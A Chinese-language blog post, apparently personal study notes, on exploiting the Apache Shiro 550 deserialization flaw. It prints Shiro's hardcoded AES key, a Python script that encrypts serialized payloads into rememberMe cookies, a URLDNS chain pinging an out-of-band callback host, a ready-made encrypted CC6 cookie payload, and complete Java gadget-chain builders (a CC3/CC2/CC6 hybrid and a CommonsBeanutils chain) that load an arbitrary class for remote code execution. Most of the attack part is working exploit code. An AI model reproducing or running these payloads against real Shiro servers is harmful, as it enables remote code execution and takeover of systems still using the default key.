Shiro550反序列化

Shiro550

550的话是由于他的密钥是固定的,是可以爆破的,经过Base64和AES解密以后,可以将里面的内容构造为恶意代码,从而达到RCE的目的

主要是这三部分:URLDNS验证,CC,CB

环境

要么看这篇搭建[Shiro反序列化漏洞笔记一(原理篇)

要么如下搭建:

发现

  • 在登录界面有remember me的选项,勾选后点击登录抓包

    image-20251208195020390

    下次访问直接就进去了

  • rememberMe=这么一大坨(一般的cookic比较短),里面一定是有隐藏信息的(序列化反序列化的信息),接下来看看源码

分析

  • 找到一个类CookieRememberMeManager.java

    image-20251208195658294

  • 这个方法中getRememberedSerializedIdentity,在这个地方,将数据包中的cookie取出来进行base64解码,后返回解码的东西

    image-20251208200158116

  • 看看谁调用了getRememberedSerializedIdentity

    image-20251208200931815

    AbstractRememberMeManager类的getRememberedPrincipals方法调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
    
        try {
            byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
            if (bytes != null && bytes.length > 0) {
                principals = this.convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = this.onRememberedPrincipalFailure(re, subjectContext);
        }
    
        return principals;
    }
  • 将解码出来的字节,放入convertBytesToPrincipals方法中

    跟进看看

    1
    2
    3
    4
    5
    6
    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

    解密+反序列化

    对所传入的字节进行一个解密,然后将反序列化后的它返回了回去

    • 反序列化的具体调用

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      public T deserialize(byte[] serialized) throws SerializationException {
          if (serialized == null) {
              String msg = "argument cannot be null.";
              throw new IllegalArgumentException(msg);
          }
          ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
          BufferedInputStream bis = new BufferedInputStream(bais);
          try {
              ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
              @SuppressWarnings({"unchecked"})
              T deserialized = (T) ois.readObject();  //调用反序列化
              ois.close();
              return deserialized;
          } catch (Exception e) {
              String msg = "Unable to deserialze argument byte array.";
              throw new SerializationException(msg, e);
          }
      }

      反序列化也是调用了原生的readObject

      如果说它带了cc的依赖,我们就可以打它的cc依赖(得看maven)

      反序列化的点就在convertBytesToPrincipals中

    • 解密

      1
      2
      3
      4
      5
      6
      7
      8
      9
      protected byte[] decrypt(byte[] encrypted) {
          byte[] serialized = encrypted;
          CipherService cipherService = getCipherService();
          if (cipherService != null) {
              ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());    //前面是获取字段你,后面是key
              serialized = byteSource.getBytes();
          }
          return serialized;
      }

      image-20251208204428572

      使用key解密(获得key即可自主构造这个包)

    • 查看getDecryptionCipherKey()对于key

      1
      2
      3
      public byte[] getDecryptionCipherKey() {
          return decryptionCipherKey;
      }
      1
      private byte[] decryptionCipherKey;

      发现最终的decryptionCipherKey是个常数

    • 查看他的写入

      image-20251208204851702

      是通过setDecryptionCipherKey这个函数

      1
      2
      3
      public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
          this.decryptionCipherKey = decryptionCipherKey;
      }
    • 一步步查看

      image-20251208205025070

      image-20251208205047967

    • 最后:有一个固定值

      1
      private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

      image-20251208205222197

      这里的加解密函数就是AES解密

利用

构造序列化payload

使用AES的固定key加密

再base64加密

调用反序列化

URLDNS

由于shiro有cc依赖,但是在代码中没有import,所以cc的依赖没有办法打

我们先来验证一下自己的URLDNS链子

  1. 起一个bp

    image-20251210124308776

  2. 生成一个URLDNS链子的payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    package org.example;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.URL;
    import java.util.HashMap;
    
    public class UrlDNS {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            // Person person = new Person("xiao", 18, 01);
            HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
            //这里不想要发起请求,把url对象的hashcode改成不是-1就可以了
            URL url = new URL("http://n5tdih04a3c9dv0xgdhsebamqdw4ky8n.oastify.com");
            Class c = url.getClass();
            Field hashcodefield = c.getDeclaredField("hashCode");
            hashcodefield.setAccessible(true);
            hashcodefield.set(url, 1234);
            hashmap.put(url, 1);//不改变的话在put的时候就已经调用hash,key的hashCode方法了,已经发送dns请求了
            //这里把hashCode改回-1
            //通过反射改变已有对象的属性
            hashcodefield.set(url, -1);
            serialize(hashmap);
            //unserialize("ser.bin");
    
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
        }
  3. 将序列化生成的bin和加密脚本放到一个文件夹中

    image-20251209205242445

  4. 加密脚本如下

    用脚本将ser.bin文件中序列化后的payloadAES加密base64编码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    
    from email.mime import base
    from pydoc import plain
    import sys
    import base64
    from turtle import mode
    import uuid
    from random import Random
    from Crypto.Cipher import AES
    
    
    def get_file_data(filename):
     with open(filename, 'rb') as f:
        data = f.read()
     return data
    
    def aes_enc(data):
     BS = AES.block_size
     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
     key = "kPH+bIxk5D2deZiIxcaaaA=="
     mode = AES.MODE_CBC
     iv = uuid.uuid4().bytes
     encryptor = AES.new(base64.b64decode(key), mode, iv)
     ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
     return ciphertext
    
    def aes_dec(enc_data):
     enc_data = base64.b64decode(enc_data)
     unpad = lambda s: s[:-s[-1]]
     key = "kPH+bIxk5D2deZiIxcaaaA=="
     mode = AES.MODE_CBC
     iv = enc_data[:16]
     encryptor = AES.new(base64.b64decode(key), mode, iv)
     plaintext = encryptor.decrypt(enc_data[16:])
     plaintext = unpad(plaintext)
     return plaintext
    
    if __name__ == "__main__":
     data = get_file_data("ser.bin")
     print(aes_enc(data))

    image-20251210124202931

  5. 把这个贴到bp里面即可

    image-20251210124219663

    记得将JSESSIONID=里面的内容删除,这也是身份验证

    先走JSESSIONID,如果它可以就不走rememberMe

  6. 成功(一定要是在提交包的时候出现DNS)

    image-20251210124607761

CC

由于shiro不带cc依赖,所以我们可以在pom里面加一个cc依赖

  • 加3.2.1

    1
    2
    3
    4
    5
    6
      <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
      </dependency>
    </dependencies>
  • 用cc6来打一下(生成的rememberMe)

    1
    GjDw1BVbSzeG2ZRTiqsafqN5Woprm2vK0ocyatebZYZCU5Wu30PTYzojzumFhnlTQ5GTyzlGh+Pm3PL5pBzTdQNVgwBoa7PqqUh9oqU2IIJymF2XMaQPVq513mugvjFZ8ZC2UoHDaFvlDRUToAtLqcJpfUoRq52Gvx8v1fB9GyJm5iZSLfXMmXDznYPVltvFvdePbi0eXj2K/85Zq89TCfsfVU5h2vAwP4XiTkZAlJgaXbR3FuFDpDZbKHaMRMdN5dCVT0nqHuCX/kIayuy7AfiMJRIt+sW0EFSX8S8T6Xcs/mCPtqvsiI0Kuxxl5oJq1fDRAf/QX8ovcUPiH0JK76llM+xtfkq4CrzoaY+NFp6lYOTXKN9PU+sjcioO/3BODMqmjg0clQHQV4ici3uIJ2C18V9AiZIK8S/NBhbi+0pjDECD5iErgGF5EGvdl4D85+R8GwxX8qwykGokzno6hwfyPMe9+UdvTn1rjsIroPjhETlyOZNzFlqu8Zj1K52JydgbceL1F35RjKWJzGc7dEBzmJmQ6Cahd6ICdgLRImlBYr62LZM18CXqB9naxJ4lbekq4R1zCQ8KKhpqWaAYXaL2jBsVympOss2I/uB4DQGYBVYBNowkwFlG3/O3zlDz+G60BVUR4cQnNwWqAnEWTSgS7ZGWaCfQW4T3gg4Gv5ZuuvEek9Kwi+h4e6bcrHEq6A+WTlrgb0XS40yQF2bwleEeNggdwpTrGbjd3pLUCa00Tn/yWLzzuN/6TwpANBHDfEB3RrPdaQSNu7YOGPSe4xEH3l+sSJMuULdwr/Two0TDOU1E/X9Y0wJ0crm0d7MIkvnHfqk6SGtyUTVYfo2c81sSWuB/6AQL0L9eYVozGWkl6h9Ap4lYckTuI5L1i7klVSSqcl++P0W26RrDTcVUs0YHTQc0KoPcrjrJm6jvJjz8RqiaClyrGIBL3kuSmmOWPZWT9V9CPhpz0n08i402ZdcVJOAhYAPk3B6P1t4ViPl0gcUP/hUt/acHMnhZGqNSRO5lgTambJg4d+bH9HUky19NXu3jb4jM9vauu6lqcmG87x97/uOA4EJRcGf2iFZO+6k96gRhUY/AJ0O5aE8veJhwnyPzaCaJzAdQlp4kQrWG0dvhKLhLHwdjOkrvBmERfxN58fpQDl82VHrV76+8jTIDFUZxzr/a/7IIqpmimcK9gsv7dBKP8nMRLoY64C0FR92FhRTcGcrGYc+NZpGK08aXZK1/eWqi9RgV2LY+lFn8f1Gl6QsIzy7H6zSw9GLq9r2EMR/DthiuPLBlOciFL50RVMit0Ts+wtSRmb3/3U97OP2zDEWeBNno0zRmCgrl0Mja1LbI1wtmYCFqHKbp1aRhCxKlHe94rkv8kpNpJwp3arAJckGZxRdhdr3MqL0JwQm0BOlfqyiGV4Z/LbczMIcut+OXRjma4nT8jIdFEwfVGc3a9OxU2x37F++ewCRl4jBr7+7N2f6KmN0JOLe21wsCm4pl0AKO6ZldfOeyZrQeo6SQ/44jxbQ/cg79vmV5'
  • 回显发现报错

    image-20251210143239920

    别的类都能加载到,为什么无法加载Transformer??

原因

  • 在反序列化这里不是用的原生的ObjectInputStream的readObject()

    img

    它是shiro里面自定义的对象输入流

  • 步入ClassResolvingObjectInputStream

    1
    2
    3
    4
    5
    6
    7
    8
    @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException e) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }

    这个类重写了resolveClass,所以在反序列化的时候就会优先调用这个重写的方法,从而走到ClassResolvingObjectInputStream类

    (原生反序列化是一定会走resolveClass这个方法,但是重写之后就从重写的类走)

    • 对比一下原生的

      image-20251210145029334

      获取内容之后,类加载

    • 重写的

      1
      2
      3
      4
      5
      6
      7
      8
      @Override
      protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
          try {
              return ClassUtils.forName(osc.getName());
          } catch (UnknownClassException e) {
              throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
          }
      }

      ClassUtils调用forName

      (ClassUtils是shiro自己的工具类)

    • 看看ClassUtils类的forName

      image-20251210145629972

      他的意思就是说:要使用类加载器,依次加载(最多三次)

      ClassResolvingObjectInputStream调用的是ClassUtils.forName(osc.getName());,其中ClassUtils是shiro自定的一个工具类

      而ObjectInputStream调用的是Class.forName(name, false, latestUserDefinedLoader());

      我们可以这样理解:Class.forName是可以对数组进行操作的,而ClassUtils.forName是不能对数组进行操作的,这就是报错的原因

      主要问题就是:Classload的loadclass不能加载数组,forName可以加载数组

      也就是说,不出现数组类即可解决

为什么加载不了数组类

主要出在tomcat

  • 接上面说到的ClassUtils.forName

    由注释可知它是现有的类加载器,当前类的(即 ClassUtils 类)类加载器,一系统类加载器,加载jdk里面的,是加载不到CC依赖的

  • 跟进THREAD_CL_ACCESSOR的loadClass方法

    发现是WebappClassLoader加载

    img

  • WebappClassLoader加载就是tomcat里面处理web程序的类加载器

    tomcat内部加载机制

    img

    是从tomcat缓存里面找,jdk缓存里面找,然后直接EXT加载

    tomcat跳过App直接到EXT,不走双亲委派,再到bootstrap

解决

不出现数组类

所以我目前就是要通过cc链来整合一条不走transformer[ ]的链子

这里我们不能利用数组了,因为cc1中调用Runtime.exec需要用ChainedTransformer和ConstantTransformer来更正返回值,所以我们选用动态类加载去加载恶意类

image-20251210150705977

  • 改写一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    package org.example;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.HashMap;
    import java.util.Map;
    
    public class shiro550cc {
        public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
    
            //CC3
            TemplatesImpl templates = new TemplatesImpl();
            Class<TemplatesImpl> c1 = TemplatesImpl.class;
            Field name = c1.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates,"aaa");
            Field tfactory = c1.getDeclaredField("_tfactory");
            tfactory.setAccessible(true);
            tfactory.set(templates,new TransformerFactoryImpl());
            Field bytecodes = c1.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][]codes={code};
            bytecodes.set(templates,codes);
    
    
            //CC2
            InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
    
    
            //CC6
            HashMap map = new HashMap();//这儿的map  key值为空
            Map lazymap=  LazyMap.decorate(map,new ConstantTransformer(1));
            TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,templates);
            HashMap map2 = new HashMap();
            map2.put(tiedMapEntry, "bbb");
            map.remove(templates);
            Class<LazyMap> c = LazyMap.class;
            Field factory = c.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(lazymap,invokerTransformer);
    
            serialize(map2);
            //unserialize("ser.bin");
    
    
        }
    
    
    
        public static void serialize (Object o) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(o);
        }
        public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
            Object obj = ois.readObject();
            return obj;
        }
    
    }

    image-20251210151727418

    测试没问题(大家复现的时候记得改自己的test.class地址)

  • 接下来的流程就和上面的urldns一样了

    image-20251210152336424

    image-20251210153902841

CB

CB主要是对javabean的增强

介绍

  • javabean算是一种类型,符合这种格式的就叫javabean

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    public class Person {//公有类
    
        private String name;
        private int age;
    
        // 无参构造
        public User() {}
    
        // 可选:有参构造
        public User(String name, int age) {
            this.name = name;
            this.age = age;
        }
    
        // 可以Getter/Setter
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    }
  • 这样我们在每次调用的时候都得这么写:

    image-20251210215858751

    相当于每次使用的时候都得这么写,比较麻烦

  • 有没有可以动态调用的方法,使得代码更加简洁呢???

    于是就有了CB

    image-20251210220322393

    使用PropertyUtils.getProperty来获取类的属性值

  • 那么这里动态获取属性,会不会也动态传入危险命令呢???

分析

  • 一步步跟进

    img

    img

  • 调getSimpleProperty方法

    img

  • 获取到一个属性描述符descriptor

    img

  • descriptor后,获得属性的名字(驼峰命名),get,set方法

    首字母转化成大写Age

    img

  • 获得方法后反射调用bean对象符合javaBean格式的方法

    img

    img

在之前见过的TemplatesImpl中存在两处可利用点,可以作为切入点,将javaBean连接到利用链上

TemplatesImpl调用getOutputProperties实现类的动态加载

  • img

    img

构造过程

  • PropertyUtils.getProperty调TemplatesImpl的私有属性outputProperties的话,就会动态调到TemplatesImpl的getOutputProperties方法,接着方法里面(CC3)还调了newTransformer加载类

    测试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public class BeanTest{
    
            public static void main(String[] args) throws Exception {
    
                TemplatesImpl templates = new TemplatesImpl();
    
                Class tl = templates.getClass();
                Field name = tl.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "CC3");
    
                byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
                byte[][] codes={code};
                Field bytecodes = tl.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
                bytecodes.set(templates, codes);
    
                //先反射给_tfactory赋值(目前没有反序列化)
                Field tfactory = tl.getDeclaredField("_tfactory");
                tfactory.setAccessible(true);
                tfactory.set(templates, new TransformerFactoryImpl());
    
                PropertyUtils.getProperty(templates,"outputProperties");
            }
        }

    可行

    所以目前我们要做的就是:找getProperty的反序列化调用

  • 查找用法getProperty

    注意:在查找的选择上,可以刻意的先我们之前学的cc靠拢

    • transform不行

      因为他的所在类没有继承序列化

      image-20251211110844757

    • compare可行

      image-20251211111139692

      而且属性可控

      image-20251211111246004

  • compare可以和cc2的优先队列PriorityQueue类相结合

    image-20251211112206226

  • 除了cc3的加载类部分

    接下来

    new BeanComparator

    查看其构造函数

    1
    2
    3
    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

    property就是要触发的那个属性(compare方法里面的)

    这么写就好

    1
    BeanComparator beanComparator = new BeanComparator("outputProperties");//这是我们要触发的属性
  • 后面就是cc2优先队列的事情了

    目前我们的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    public class BeanTest{
    
            public static void main(String[] args) throws Exception {
                //CC3
                TemplatesImpl templates = new TemplatesImpl();
                Class tl = templates.getClass();
                Field name = tl.getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates, "CC3");
                Field bytecodes = tl.getDeclaredField("_bytecodes");
                bytecodes.setAccessible(true);
    
                byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
                byte[][] codes={code};
                bytecodes.set(templates, codes);
                //CB
                BeanComparator beanComparator = new BeanComparator("outputProperties");
                //CC2
                PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);
                //PriorityQueue
    
                priorityQueue.add(templates);
                priorityQueue.add(2);
    
                serialize(priorityQueue);
                unserialize("ser.bin");
    
            }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }

运行发现报错

没有找到outputProperties

image-20251211113511005
  • 因为在CB编写的时候,就有些东西是和CC来配合的,在BeanComparator的构造函数中,会默认调用ComparableComparator的getInstance方法,而ComparableComparator是cc依赖中的,shiro中默认没有带cc依赖,导致的错误发生
1
2
3
4
5
6
7
8
9
10
11
public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }
  • 而BeanComparator还有一个构造函数如下,里面的Comparator是可以自己传的,所以我们可以用这个构造函数来绕过cc的依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public BeanComparator(String property, Comparator comparator) {
            this.setProperty(property);
            if (comparator != null) {
                this.comparator = comparator;
            } else {
                this.comparator = ComparableComparator.getInstance();
            }
    
        }

解决:

  • 在beanComparator这里传入一个不为cc依赖的Comparator即可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public static void main(String[] args) throws Exception {
    
            TemplatesImpl templates = new TemplatesImpl();
    
            Class tl = templates.getClass();
            Field name = tl.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates, "CC3");
    
            byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][] codes={code};
            Field bytecodes = tl.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates, codes);
    
            BeanComparator beanComparator = new BeanComparator("outputProperties",new BeanComparator());
    
            PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);
    
            priorityQueue.add(templates);
    
            Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
            Field size = aClass.getDeclaredField("size");
            size.setAccessible(true);
            size.set(priorityQueue, 2);
    
            serialize(priorityQueue);
            unserialize("ser.bin");
    
        }
  • add方法时候会报错导致序列化不成功(这里是在传入Intger时,也会调用Integer类的getOutputProperties的方法,但是他实际没有这个方法所以报错)

    • 所以在向PriorityQueue传入Comparator时,传入一个无用的transformingComparator,然后通过反射修改回来(就是完全使用cc2的后半段)+AttrComparator(自己写的一个脚本,Comparator和Serializable接口的交际得到AttrComparator)

      虽然没有cc,但是因为他影响的最后序列化的参数,和你本地怎么改没关系(成功即可)

    • 这里还有一个方法,在add时,只添加数字,后续将 priorityQueue.add(templates);通过反射修改回来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    public static void main(String[] args) throws Exception {
        	//cc3
            TemplatesImpl templates = new TemplatesImpl();
    
            Class tl = templates.getClass();
            Field name = tl.getDeclaredField("_name");
            name.setAccessible(true);
            name.set(templates, "CC3");
    
            byte[] code= Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            byte[][] codes={code};
            Field bytecodes = tl.getDeclaredField("_bytecodes");
            bytecodes.setAccessible(true);
            bytecodes.set(templates, codes);
    
            BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrComparator());//此处修改就可
    
        	//cc2
            TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    
            PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
    
            priorityQueue.add(templates);
            priorityQueue.add(2);
        		//反射修改
            Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
            Field comparator = priorityQueueClass.getDeclaredField("comparator");
            comparator.setAccessible(true);
            comparator.set(priorityQueue, beanComparator);
    
            serialize(priorityQueue);
            unserialize("ser.bin");
    
        }

Shiro550反序列化
http://example.com/2025/12/11/shiro反序列化(Shiro550)/
作者
Piggy Sprint
发布于
2025年12月11日
许可协议